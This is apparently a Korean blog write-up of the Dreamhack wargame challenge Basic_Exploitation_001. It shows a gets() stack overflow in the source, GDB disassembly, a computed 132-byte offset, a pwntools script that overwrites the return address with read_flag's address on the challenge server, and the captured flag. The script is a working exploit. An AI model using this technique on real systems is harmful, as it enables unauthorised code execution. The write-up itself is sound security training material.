[Dreamhack] Basic_Exploitation_003  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_001  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_000  (0) 2022.10.14

보호 기법 확인

  • 32bit 바이너리
  • relro 없음
  • 카나리 없음
  • nx bit 존재 → shellcode 삽입 불가
  • pie 없음

 

바이너리 실행

  • 단순히 사용자의 입력만 받고 있음
  • 입력 값에 대한 검증 실시x 

 

소스코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

main 함수

  • buf 배열에 0x80(128byte)만큼 할당
  • gets 함수로 buf 배열에 사용자의 입력을 저장함→ BOF 취약점 발생
  • → 입력 값 길이에 대한 검증이 없어 사용자는 무한대로 입력할 수 있음

 

GDB 정적분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048398  _init
0x080483d0  gets@plt
0x080483e0  signal@plt
0x080483f0  alarm@plt
0x08048400  puts@plt
0x08048410  system@plt
0x08048420  exit@plt
0x08048430  __libc_start_main@plt
0x08048440  setvbuf@plt
0x08048450  __gmon_start__@plt
0x08048460  _start
0x08048490  __x86.get_pc_thunk.bx
0x080484a0  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048530  frame_dummy
0x0804855b  alarm_handler
0x08048572  initialize
0x080485b9  read_flag
0x080485cc  main
0x080485f0  __libc_csu_init
0x08048650  __libc_csu_fini
0x08048654  _fini
  • read_flag: 0x080485b9
  • main: 0x080485cc

 

GDB 정적분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x080485cc <+0>:	push   ebp
   0x080485cd <+1>:	mov    ebp,esp
   0x080485cf <+3>:	add    esp,0xffffff80
   0x080485d2 <+6>:	call   0x8048572 <initialize>
   0x080485d7 <+11>:	lea    eax,[ebp-0x80]
   0x080485da <+14>:	push   eax
   0x080485db <+15>:	call   0x80483d0 <gets@plt>
   0x080485e0 <+20>:	add    esp,0x4
   0x080485e3 <+23>:	mov    eax,0x0
   0x080485e8 <+28>:	leave  
   0x080485e9 <+29>:	ret    
End of assembler dump.
  • 사용자의 입력이 ebp-0x80에 저장되는 것을 알 수 있음
  • ret까지의 offset = 0x80 + 4 = 132byte

 

GDB 정적분석 - read_flag 함수

pwndbg> disass read_flag
Dump of assembler code for function read_flag:
   0x080485b9 <+0>:	push   ebp
   0x080485ba <+1>:	mov    ebp,esp
   0x080485bc <+3>:	push   0x8048679
   0x080485c1 <+8>:	call   0x8048410 <system@plt>
   0x080485c6 <+13>:	add    esp,0x4
   0x080485c9 <+16>:	nop
   0x080485ca <+17>:	leave  
   0x080485cb <+18>:	ret    
End of assembler dump.
  • 단순히 flag를 얻기 위한 기능을 수행하고 있음

 

메모리 구조 확인

  • main+20에 bp걸어 임의의 값(다수의 a)입력
  • ebp-0x80은 0xffffd088임을 알 수 있음
  • __libc_start_main+241은 0xffffd10c에 저장됨을 알 수 있음
  • buf에서 ret까지의 offset: 0xffffd10c-0xffffd088=132
    • buf(128) + sfp(4) + ret의 구조이기 때문!

 

Exploit Algorithm

💡 dummy(132) + ret(read_flag_address)

  • buf 배열을 모두 dummy 값으로 채운 뒤, main함수를 종료하기 위한 ret 값을 read_flag의 주소로 변조하게 되면 main 함수가 종료되는 것이 아니라 read_flag 함수로 이동하여 flag를 획득할 수 있음

 

Exploit - Pwntools

from pwn import *

p = remote('host1.dreamhack.games', 11726)
e = ELF('./basic_exploitation_001')

payload = "A"*132
payload += p32(e.symbols['read_flag'])

p.sendline(payload)
p.interactive()

flag

💡 DH{01ec06f5e1466e44f86a79444a7cd116}

 

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] Basic_Exploitation_003  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_002  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_000  (0) 2022.10.14

+ Recent posts